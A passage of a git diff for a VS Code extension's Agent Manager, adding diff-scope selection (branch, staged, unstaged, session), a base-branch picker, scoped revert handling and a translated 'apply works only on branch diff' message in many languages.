`worktree:${sel}` - }) + const diffSessionKey = createMemo(() => diffScopeId() ?? "") const setSharedDiffStyle = (style: "unified" | "split") => { if (reviewDiffStyle() === style) return @@ -1731,29 +1720,39 @@ const AgentManagerContent: Component = () => { } const requestDiffFile = (file: string) => { - const sessionId = currentDiffSessionId() - if (!sessionId) return - if (diffFileLoading()[sessionId]?.[file]) return - setDiffFilePending(sessionId, file, true) - vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) + const id = diffScopeId() + if (!id) return + if (diffFileLoading()[id]?.[file]) return + setDiffFilePending(id, file, true) + vscode.postMessage({ + type: "agentManager.requestWorktreeDiffFile", + sessionId: currentDiffSessionId()!, + file, + scope: review.scope(), + }) } - const refreshStaleDiffs = (sessionId: string, files: Set) => { - const loading = diffFileLoading()[sessionId] ?? {} + const refreshStaleDiffs = (id: string, files: Set) => { + const loading = diffFileLoading()[id] ?? {} for (const file of files) { if (loading[file]) continue - setDiffFilePending(sessionId, file, true) - vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) + setDiffFilePending(id, file, true) + vscode.postMessage({ + type: "agentManager.requestWorktreeDiffFile", + sessionId: currentDiffSessionId()!, + file, + scope: review.scope(), + }) } } const diffFileLoadingForCurrent = createMemo(() => { - const sessionId = currentDiffSessionId() - if (!sessionId) return new Set() - return new Set(Object.keys(diffFileLoading()[sessionId] ?? {})) + const id = diffScopeId() + if (!id) return new Set() + return new Set(Object.keys(diffFileLoading()[id] ?? {})) }) - const revertCtl = createRevertFile(currentDiffSessionId, vscode, showToast, t) + const revertCtl = createRevertFile(diffScopeId, currentDiffSessionId, () => review.scope(), vscode, showToast, t) const handleConfigureSetupScript = () => { vscode.postMessage({ type: "agentManager.configureSetupScript" }) @@ -2755,12 +2754,19 @@ const AgentManagerContent: Component = () => { {t("agentManager.open.button")} - +
+ +
{props.lead}
+
@@ -636,7 +643,7 @@ export const DiffPanel: Component = (props) => { /> - + > + setDiffFilePending: (id: string, file: string, value: boolean) => void + setDiffLoading: Setter + refreshStaleDiffs: (id: string, files: Set) => void + review: DiffReviewScope +} + +/** Handle one inbound message; returns true when it was a diff message. */ +export function handleDiffMessage(msg: { type: string }, h: DiffMessageHandlers): boolean { + if (msg.type === "agentManager.worktreeDiff") { + const ev = msg as AgentManagerWorktreeDiffMessage + let staleFiles: Set | undefined + h.setDiffDatas((prev) => { + const existing = prev[ev.sessionId] + const merged = existing + ? mergeWorktreeDiffs(existing, ev.diffs) + : { diffs: ev.diffs, stale: new Set() } + staleFiles = merged.stale + const next = merged.diffs + if (existing && existing.length === next.length && existing.every((old, i) => old === next[i])) return prev + return { ...prev, [ev.sessionId]: next } + }) + if (staleFiles) h.refreshStaleDiffs(ev.sessionId, staleFiles) + return true + } + + if (msg.type === "agentManager.worktreeDiffFile") { + const ev = msg as AgentManagerWorktreeDiffFileMessage + if (ev.diff) { + h.setDiffDatas((prev) => { + const existing = prev[ev.sessionId] ?? [] + const next = existing.map((item) => (item.file === ev.diff!.file ? ev.diff! : item)) + return { ...prev, [ev.sessionId]: next } + }) + h.setDiffFilePending(ev.sessionId, ev.diff.file, false) + return true + } + h.setDiffFilePending(ev.sessionId, ev.file, false) + return true + } + + if (msg.type === "agentManager.worktreeDiffLoading") { + h.setDiffLoading((msg as AgentManagerWorktreeDiffLoadingMessage).loading) + return true + } + + if (msg.type === "agentManager.diffBranches") { + h.review.onBranches(msg as AgentManagerDiffBranchesMessage) + return true + } + + return false +} diff --git a/packages/kilo-vscode/webview-ui/agent-manager/diff-review-scope.ts b/packages/kilo-vscode/webview-ui/agent-manager/diff-review-scope.ts new file mode 100644 index 0000000000..249641837e --- /dev/null +++ b/packages/kilo-vscode/webview-ui/agent-manager/diff-review-scope.ts @@ -0,0 +1,120 @@ +/** + * Diff scope + base branch state for the Agent Manager review surfaces. + * + * Owns the per-context scope selection, the branch picker data for the active + * context, and the message senders that drive both. Extracted from + * AgentManagerApp to keep that file under its line cap; both the side panel + * and the full-screen review tab consume the single instance returned here. + */ + +import { createEffect, createMemo, createSignal, type Accessor } from "solid-js" +import type { BranchInfo } from "../src/types/messages" +import { createDiffScope, isDiffScope, scopeDescriptors, type DiffScope } from "./diff-scope-state" + +interface VsCode { + postMessage(msg: unknown): void +} + +export interface DiffReviewScopeOptions { + /** Current diff context (worktree session id or the LOCAL pseudo-id). */ + ctx: Accessor + /** Whether the diff side panel is open. */ + panelOpen: Accessor + /** Whether the full-screen review tab is active. */ + reviewActive: Accessor + /** The id that marks the local pseudo-context (omits the Session scope). */ + local: string + vscode: VsCode +} + +export function createDiffReviewScope(opts: DiffReviewScopeOptions) { + const scope = createDiffScope(opts.ctx) + // The composite id (ctx#scope) the extension keys diff data by. + const id = createMemo(() => scope.id()) + + // Branch picker state for the active context (Branch scope only). + const [branches, setBranches] = createSignal([]) + const [loading, setLoading] = createSignal(false) + const [defaultBranch, setDefaultBranch] = createSignal("") + const [autoBase, setAutoBase] = createSignal(undefined) + const [currentBase, setCurrentBase] = createSignal(undefined) + const [isAuto, setIsAuto] = createSignal(true) + const [currentBranch, setCurrentBranch] = createSignal(undefined) + + // Scope descriptors for the current context. The `local` pseudo-context and + // contexts without a real session omit the Session scope. + const descriptors = createMemo(() => { + const ctx = opts.ctx() + if (!ctx) return [] + return scopeDescriptors(ctx, ctx !== opts.local) + }) + + const isBranch = () => scope.scope() === "branch" + + const select = (next: string) => { + const ctx = opts.ctx() + if (!ctx) return + const value = next.slice(ctx.length + 1) + scope.setScope(isDiffScope(value) ? value : "branch") + } + + const selectBase = (branch: string | undefined) => { + const ctx = opts.ctx() + if (!ctx) return + // Optimistic update; the extension echoes authoritative state back. + setCurrentBase(branch ?? autoBase()) + setIsAuto(branch === undefined) + opts.vscode.postMessage({ type: "agentManager.setDiffBaseBranch", sessionId: ctx, scope: scope.scope(), branch }) + } + + // Fetch branch picker data whenever the Branch scope becomes active for the + // current context. The extension owns override state, so ask each time. + createEffect(() => { + if (scope.scope() !== "branch") return + const ctx = opts.ctx() + if (!ctx) return + if (!opts.panelOpen() && !opts.reviewActive()) return + setLoading(true) + opts.vscode.postMessage({ type: "agentManager.requestDiffBranches", sessionId: ctx, scope: scope.scope() }) + }) + + /** Handle the extension's diffBranches push, ignoring stale contexts. */ + const onBranches = (ev: { + sessionId: string + branches: BranchInfo[] + defaultBranch: string + autoBase?: string + currentBase?: string + isAuto: boolean + currentBranch?: string + }) => { + if (ev.sessionId === id()) { + setBranches(ev.branches) + setDefaultBranch(ev.defaultBranch) + setAutoBase(ev.autoBase) + setCurrentBase(ev.currentBase) + setIsAuto(ev.isAuto) + setCurrentBranch(ev.currentBranch) + } + setLoading(false) + } + + return { + scope: scope.scope, + id, + descriptors, + isBranch, + select, + selectBase, + onBranches, + branches, + loading, + defaultBranch, + autoBase, + currentBase, + isAuto, + currentBranch, + } +} + +export type DiffReviewScope = ReturnType diff --git a/packages/kilo-vscode/webview-ui/agent-manager/diff-scope-state.ts b/packages/kilo-vscode/webview-ui/agent-manager/diff-scope-state.ts new file mode 100644 index 0000000000..a61e6c3a35 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/agent-manager/diff-scope-state.ts @@ -0,0 +1,91 @@ +/** + * Webview-side diff scope state for Agent Manager. + * + * Mirrors the extension's composite diff id (`ctx#scope`, see + * `src/agent-manager/diff-scope.ts`) and builds the fixed scope descriptor + * list shown in the scope selector. Agent Manager always offers the same four + * scopes per context, so the descriptors are computed client-side rather than + * pushed from the extension. + */ + +import { createMemo, createSignal, type Accessor } from "solid-js" +import type { DiffSourceDescriptor } from "../../src/diff/sources/types" + +export type DiffScope = "branch" | "staged" | "unstaged" | "session" + +export const DEFAULT_DIFF_SCOPE: DiffScope = "branch" + +const SEP = "#" + +export function composeDiffId(ctx: string, scope: DiffScope): string { + return `${ctx}${SEP}${scope}` +} + +export function isDiffScope(value: string): value is DiffScope { + return value === "branch" || value === "staged" || value === "unstaged" || value === "session" +} + +/** + * The fixed scope descriptors for a context. `workspace` maps to the Branch + * scope to reuse the existing i18n keys (`diffViewer.source.workspace.*`). + * Session scope is only meaningful for a real session context, so it is + * omitted for the `local` pseudo-context and for contexts without a session. + */ +export function scopeDescriptors(ctx: string, hasSession: boolean): DiffSourceDescriptor[] { + const out: DiffSourceDescriptor[] = [ + { id: composeDiffId(ctx, "branch"), type: "workspace", group: "Git", capabilities: { revert: true, comments: true } }, + { id: composeDiffId(ctx, "staged"), type: "staged", group: "Git", capabilities: { revert: false, comments: true } }, + { + id: composeDiffId(ctx, "unstaged"), + type: "unstaged", + group: "Git", + capabilities: { revert: false, comments: true }, + }, + ] + if (hasSession) { + out.push({ + id: composeDiffId(ctx, "session"), + type: "session", + group: "Session", + capabilities: { revert: false, comments: true }, + }) + } + return out +} + +/** + * Whether the Branch scope supports revert. Staged/unstaged/session are + * read-only; only the Branch scope can revert files back to the merge base. + */ +export function scopeCapabilities(scope: DiffScope): { revert: boolean; comments: boolean } { + return { revert: scope === "branch", comments: true } +} + +/** + * Per-context scope selection. Keeps the last-picked scope per context id so + * switching between worktrees restores each worktree's scope, while a brand + * new context defaults to Branch. + */ +export function createDiffScope(currentCtx: Accessor) { + const [scopes, setScopes] = createSignal>({}) + + const scope = createMemo((): DiffScope => { + const ctx = currentCtx() + if (!ctx) return DEFAULT_DIFF_SCOPE + return scopes()[ctx] ?? DEFAULT_DIFF_SCOPE + }) + + const id = createMemo(() => { + const ctx = currentCtx() + if (!ctx) return undefined + return composeDiffId(ctx, scope()) + }) + + const setScope = (next: DiffScope) => { + const ctx = currentCtx() + if (!ctx) return + setScopes((prev) => ({ ...prev, [ctx]: next })) + } + + return { scope, id, setScope } +} diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts index 79d4b74c51..37b03ad914 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts @@ -135,6 +135,7 @@ export const dict = { "agentManager.diff.revertFile": "استعادة الملف", "agentManager.diff.revertSuccess": "تم استعادة الملف", "agentManager.diff.revertError": "فشل الاستعادة", + "agentManager.diff.applyBranchOnly": "لا يعمل تطبيق التغييرات إلا على فرق الفرع الكامل. انتقل إلى نطاق Branch لتطبيقها.", "agentManager.open.button": "فتح", "agentManager.open.tooltip": "فتح Worktree هذا في VS Code", "agentManager.apply.globalButton": "تطبيق", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts index 67cdb9bcf3..91769ed735 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts @@ -138,6 +138,7 @@ export const dict = { "agentManager.diff.revertFile": "Reverter arquivo", "agentManager.diff.revertSuccess": "Arquivo revertido", "agentManager.diff.revertError": "Falha ao reverter", + "agentManager.diff.applyBranchOnly": "Aplicar funciona apenas no diff completo da branch. Mude para o escopo Branch para aplicar.", "agentManager.open.button": "Abrir", "agentManager.open.tooltip": "Abrir este Worktree no VS Code", "agentManager.apply.globalButton": "Aplicar", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts index f6fddfd612..0c2f1456b7 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts @@ -138,6 +138,7 @@ export const dict = { "agentManager.diff.revertFile": "Vrati datoteku", "agentManager.diff.revertSuccess": "Datoteka vraćena", "agentManager.diff.revertError": "Vraćanje neuspješno", + "agentManager.diff.applyBranchOnly": "Primijeni radi samo s kompletnim diffom grane. Prebacite se na opseg Branch da biste primijenili.", "agentManager.open.button": "Otvori", "agentManager.open.tooltip": "Otvori ovaj worktree u VS Code-u", "agentManager.apply.globalButton": "Primijeni", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts index beb827b1c9..e1a466c894 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts @@ -139,6 +139,7 @@ export const dict = { "agentManager.diff.revertFile": "Gendan fil", "agentManager.diff.revertSuccess": "Fil gendannet", "agentManager.diff.revertError": "Gendannelse fejlede", + "agentManager.diff.applyBranchOnly": "Anvend virker kun på hele Branch-diffen. Skift til Branch-området for at anvende.", "agentManager.open.button": "Åbn", "agentManager.open.tooltip": "Åbn dette Worktree i VS Code", "agentManager.apply.globalButton": "Anvend", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts index b9691ecbaf..2de026594c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts @@ -139,6 +139,7 @@ export const dict = { "agentManager.diff.revertFile": "Datei zurücksetzen", "agentManager.diff.revertSuccess": "Datei zurückgesetzt", "agentManager.diff.revertError": "Zurücksetzen fehlgeschlagen", + "agentManager.diff.applyBranchOnly": "Anwenden funktioniert nur für den vollständigen Branch-Diff. Wechsle zum Bereich Branch, um anzuwenden.", "agentManager.open.button": "Öffnen", "agentManager.open.tooltip": "Dieses Worktree in VS Code öffnen", "agentManager.apply.globalButton": "Anwenden", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts index 236f18423a..16e45d06da 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts @@ -142,6 +142,7 @@ export const dict = { "agentManager.diff.revertFile": "Revert file", "agentManager.diff.revertSuccess": "File reverted", "agentManager.diff.revertError": "Revert failed", + "agentManager.diff.applyBranchOnly": "Apply works on the full branch diff. Switch to the Branch scope to apply.", "agentManager.open.button": "Open", "agentManager.open.tooltip": "Open this worktree in VS Code", "agentManager.apply.globalButton": "Apply", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts index a75de2ce0c..7f55de6a91 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts @@ -138,6 +138,7 @@ export const dict = { "agentManager.diff.revertFile": "Revertir archivo", "agentManager.diff.revertSuccess": "Archivo revertido", "agentManager.diff.revertError": "Error al revertir", + "agentManager.diff.applyBranchOnly": "Aplicar solo funciona con el diff completo de la rama. Cambia al ámbito Branch para aplicar.", "agentManager.open.button": "Abrir", "agentManager.open.tooltip": "Abrir este Worktree en VS Code", "agentManager.apply.globalButton": "Aplicar", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts index d8579c9cfd..a279ac1f2e 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts @@ -138,6 +138,7 @@ export const dict = { "agentManager.diff.revertFile": "Rétablir le fichier", "agentManager.diff.revertSuccess": "Fichier rétabli", "agentManager.diff.revertError": "Échec du rétablissement", + "agentManager.diff.applyBranchOnly": "Appliquer ne fonctionne que sur le diff complet de la branche. Passez à la portée Branch pour appliquer.", "agentManager.open.button": "Ouvrir", "agentManager.open.tooltip": "Ouvrir ce worktree dans VS Code", "agentManager.apply.globalButton": "Appliquer", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts index 1192807424..5a85e0df9b 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts @@ -144,6 +144,7 @@ export const dict = { "agentManager.diff.revertFile": "Ripristina file", "agentManager.diff.revertSuccess": "File ripristinato", "agentManager.diff.revertError": "Ripristino non riuscito", + "agentManager.diff.applyBranchOnly": "Applica funziona solo sul diff completo del branch. Passa all'ambito Branch per applicare.", "agentManager.open.button": "Apri", "agentManager.open.tooltip": "Apri questo worktree in VS Code", "agentManager.apply.globalButton": "Applica", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts index d855af8e15..0b32167f65 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts @@ -137,6 +137,7 @@ export const dict = { "agentManager.diff.revertFile": "ファイルを元に戻す", "agentManager.diff.revertSuccess": "ファイルを元に戻しました", "agentManager.diff.revertError": "元に戻せませんでした", + "agentManager.diff.applyBranchOnly": "適用はブランチ全体の差分に対してのみ利用できます。適用するにはスコープを Branch に切り替えてください。", "agentManager.open.button": "開く", "agentManager.open.tooltip": "このWorktreeをVS Codeで開く", "agentManager.apply.globalButton": "適用", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts index ae87aaf993..43437bc683 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts @@ -136,6 +136,7 @@ export const dict = { "agentManager.diff.revertFile": "파일 되돌리기", "agentManager.diff.revertSuccess": "파일이 되돌려졌습니다", "agentManager.diff.revertError": "되돌리기 실패", + "agentManager.diff.applyBranchOnly": "적용은 전체 브랜치 diff에서만 작동합니다. 적용하려면 범위를 Branch로 전환하세요.", "agentManager.open.button": "열기", "agentManager.open.tooltip": "이 Worktree를 VS Code에서 열기", "agentManager.apply.globalButton": "적용", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts index 1965204a47..c3b40ceb78 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts @@ -143,6 +143,7 @@ export const dict = { "agentManager.diff.revertFile": "Bestand terugzetten", "agentManager.diff.revertSuccess": "Bestand teruggezet", "agentManager.diff.revertError": "Terugzetten mislukt", + "agentManager.diff.applyBranchOnly": "Toepassen werkt alleen op de volledige branch-diff. Schakel naar het bereik Branch om toe te passen.", "agentManager.open.button": "Openen", "agentManager.open.tooltip": "Open deze worktree in VS Code", "agentManager.apply.globalButton": "Toepassen", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts index 44efed03a5..37ac94071e 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts @@ -137,6 +137,7 @@ export const dict = { "agentManager.diff.revertFile": "Tilbakestill fil", "agentManager.diff.revertSuccess": "Fil tilbakestilt", "agentManager.diff.revertError": "Tilbakestilling feilet", + "agentManager.diff.applyBranchOnly": "Bruk fungerer kun på hele Branch-diffen. Bytt til Branch-omfanget for å bruke.", "agentManager.open.button": "Åpne", "agentManager.open.tooltip": "Åpne dette Worktree-et i VS Code", "agentManager.apply.globalButton": "Bruk", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts index 137bf34132..7b34943e96 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts @@ -137,6 +137,7 @@ export const dict = { "agentManager.diff.revertFile": "Cofnij plik", "agentManager.diff.revertSuccess": "Plik cofnięty", "agentManager.diff.revertError": "Cofanie nie powiodło się", + "agentManager.diff.applyBranchOnly": "Funkcja Zastosuj działa tylko z pełnym diffem brancha. Przełącz się na zakres Branch, aby zastosować.", "agentManager.open.button": "Otwórz", "agentManager.open.tooltip": "Otwórz ten Worktree w VS Code", "agentManager.apply.globalButton": "Zastosuj", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts index c0df2ab3c9..0fd387a78c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts @@ -138,6 +138,7 @@ export const dict = { "agentManager.diff.revertFile": "Откатить файл", "agentManager.diff.revertSuccess": "Файл откатан", "agentManager.diff.revertError": "Ошибка отката", + "agentManager.diff.applyBranchOnly": "Применение работает только с полным diff ветки. Чтобы применить изменения, переключитесь на область Branch.", "agentManager.open.button": "Открыть", "agentManager.open.tooltip": "Открыть этот Worktree в VS Code", "agentManager.apply.globalButton": "Применить", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts index 012b3776ba..4608684420 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts @@ -133,6 +133,7 @@ export const dict = { "agentManager.diff.revertFile": "ย้อนกลับไฟล์", "agentManager.diff.revertSuccess": "ย้อนกลับไฟล์แล้ว", "agentManager.diff.revertError": "ย้อนกลับล้มเหลว", + "agentManager.diff.applyBranchOnly": "นำไปใช้ได้เฉพาะกับ diff ของ Branch ทั้งหมดเท่านั้น สลับไปที่ขอบเขต Branch เพื่อใช้งาน", "agentManager.open.button": "เปิด", "agentManager.open.tooltip": "เปิด Worktree นี้ใน VS Code", "agentManager.apply.globalButton": "นำไปใช้", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts index e18f88694b..10d9ddff95 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts @@ -144,6 +144,7 @@ export const dict = { "agentManager.diff.revertFile": "Dosyayı geri al", "agentManager.diff.revertSuccess": "Dosya geri alındı", "agentManager.diff.revertError": "Geri alma başarısız", + "agentManager.diff.applyBranchOnly": "Uygula yalnızca tam Branch diff'inde çalışır. Uygulamak için Branch kapsamına geçin.", "agentManager.open.button": "Aç", "agentManager.open.tooltip": "Bu worktree'yi VS Code'da aç", "agentManager.apply.globalButton": "Uygula", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts index 1c1c1cbf22..ed70a05f51 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts @@ -145,6 +145,7 @@ export const dict = { "agentManager.diff.revertFile": "Скасувати зміни файлу", "agentManager.diff.revertSuccess": "Файл відновлено", "agentManager.diff.revertError": "Не вдалося відновити", + "agentManager.diff.applyBranchOnly": "Застосування працює лише з повним diff гілки. Щоб застосувати зміни, перемкніться на область Branch.", "agentManager.open.button": "Відкрити", "agentManager.open.tooltip": "Відкрити це робоче дерево у VS Code", "agentManager.apply.globalButton": "Застосувати", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts index 2e0c7f5568..acf24797b8 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts @@ -132,6 +132,7 @@ export const dict = { "agentManager.diff.revertFile": "还原文件", "agentManager.diff.revertSuccess": "文件已还原", "agentManager.diff.revertError": "还原失败", + "agentManager.diff.applyBranchOnly": "应用仅适用于完整的分支差异。请切换到 Branch 范围后再应用。", "agentManager.open.button": "打开", "agentManager.open.tooltip": "在 VS Code 中打开此 Worktree", "agentManager.apply.globalButton": "应用", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts index e4403c5aaf..7eaa9240c9 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts @@ -132,6 +132,7 @@ export const dict = { "agentManager.diff.revertFile": "還原檔案", "agentManager.diff.revertSuccess": "檔案已還原", "agentManager.diff.revertError": "還原失敗", + "agentManager.diff.applyBranchOnly": "套用僅適用於完整的分支差異。請切換至 Branch 範圍後再套用。", "agentManager.open.button": "開啟", "agentManager.open.tooltip": "在 VS Code 中開啟此 Worktree", "agentManager.apply.globalButton": "套用", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/revert-file.ts b/packages/kilo-vscode/webview-ui/agent-manager/revert-file.ts index 199a9b96f2..03a3c96e44 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/revert-file.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/revert-file.ts @@ -12,7 +12,9 @@ interface Toast { } export function createRevertFile( + diffScopeId: Accessor, currentDiffSessionId: Accessor, + scope: Accessor, vscode: VsCode, showToast: (t: Toast) => void, t: (key: string) => string, @@ -20,20 +22,21 @@ export function createRevertFile( const [files, setFiles] = createSignal>>({}) const reverting = createMemo(() => { - const sessionId = currentDiffSessionId() - if (!sessionId) return new Set() - return files()[sessionId] ?? new Set() + const id = diffScopeId() + if (!id) return new Set() + return files()[id] ?? new Set() }) function revert(file: string) { + const id = diffScopeId() const sessionId = currentDiffSessionId() - if (!sessionId) return + if (!id || !sessionId) return setFiles((prev) => { - const set = new Set(prev[sessionId] ?? []) + const set = new Set(prev[id] ?? []) set.add(file) - return { ...prev, [sessionId]: set } + return { ...prev, [id]: set } }) - vscode.postMessage({ type: "agentManager.revertWorktreeFile", sessionId, file }) + vscode.postMessage({ type: "agentManager.revertWorktreeFile", sessionId, file, scope: scope() }) } function onResult(ev: AgentManagerRevertWorktreeFileResultMessage) { diff --git a/packages/kilo-vscode/webview-ui/diff-viewer/DiffScopeControls.tsx b/packages/kilo-vscode/webview-ui/diff-viewer/DiffScopeControls.tsx new file mode 100644 index 0000000000..ba9cc3dad8 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/diff-viewer/DiffScopeControls.tsx @@ -0,0 +1,55 @@ +import { Show, type Component } from "solid-js" +import type { DiffSourceDescriptor } from "../../src/diff/sources/types" +import type { BranchInfo } from "../src/types/messages" +import { DiffPickerHeader } from "./DiffPickerHeader" +import { BaseBranchPicker } from "./BaseBranchPicker" + +interface DiffScopeControlsProps { + descriptors: DiffSourceDescriptor[] + currentId: string | undefined + onSelectScope: (id: string) => void + /** Show the base branch picker (only when the Branch scope is active). */ + showBase: boolean + branches: BranchInfo[] + branchesLoading: boolean + defaultBranch: string + autoBase: string | undefined + currentBase: string | undefined + isAuto: boolean + currentBranch: string | undefined + onSelectBase: (branch: string | undefined) => void + /** + * Compact mode for the narrow Agent Manager side panel: hides the + * `current → base` prefix so only the picker trigger remains. + */ + compact?: boolean +} + +/** + * Composes the scope selector and base branch picker into one control row. + * Shared by the standalone Changes header and the two Agent Manager diff + * surfaces so all three render the identical controls. + */ +export const DiffScopeControls: Component = (props) => { + return ( + + + + } + /> + ) +} diff --git a/packages/kilo-vscode/webview-ui/diff-viewer/FullScreenDiffView.tsx b/packages/kilo-vscode/webview-ui/diff-viewer/FullScreenDiffView.tsx index 4ff64605f6..2d63a6ebd1 100644 --- a/packages/kilo-vscode/webview-ui/diff-viewer/FullScreenDiffView.tsx +++ b/packages/kilo-vscode/webview-ui/diff-viewer/FullScreenDiffView.tsx @@ -1,4 +1,4 @@ -import { type Component, createSignal, createMemo, createEffect, on, onCleanup, Show } from "solid-js" +import { type Component, createSignal, createMemo, createEffect, on, onCleanup, Show, type JSXElement } from "solid-js" import type { VirtualizerHandle } from "virtua/solid" // Styles are imported by the component so every consumer (sidebar diff viewer, // agent manager, storybook) picks them up automatically. Keep these imports here — @@ -89,6 +89,8 @@ interface FullScreenDiffViewProps { canRevert?: boolean /** Defaults to true. Disables comment creation and "Send all" when false. */ canComment?: boolean + /** Optional leading content rendered first in the toolbar's left group. */ + lead?: JSXElement onClose: () => void } @@ -541,6 +543,7 @@ export const FullScreenDiffView: Component = (props) => {/* Toolbar */}
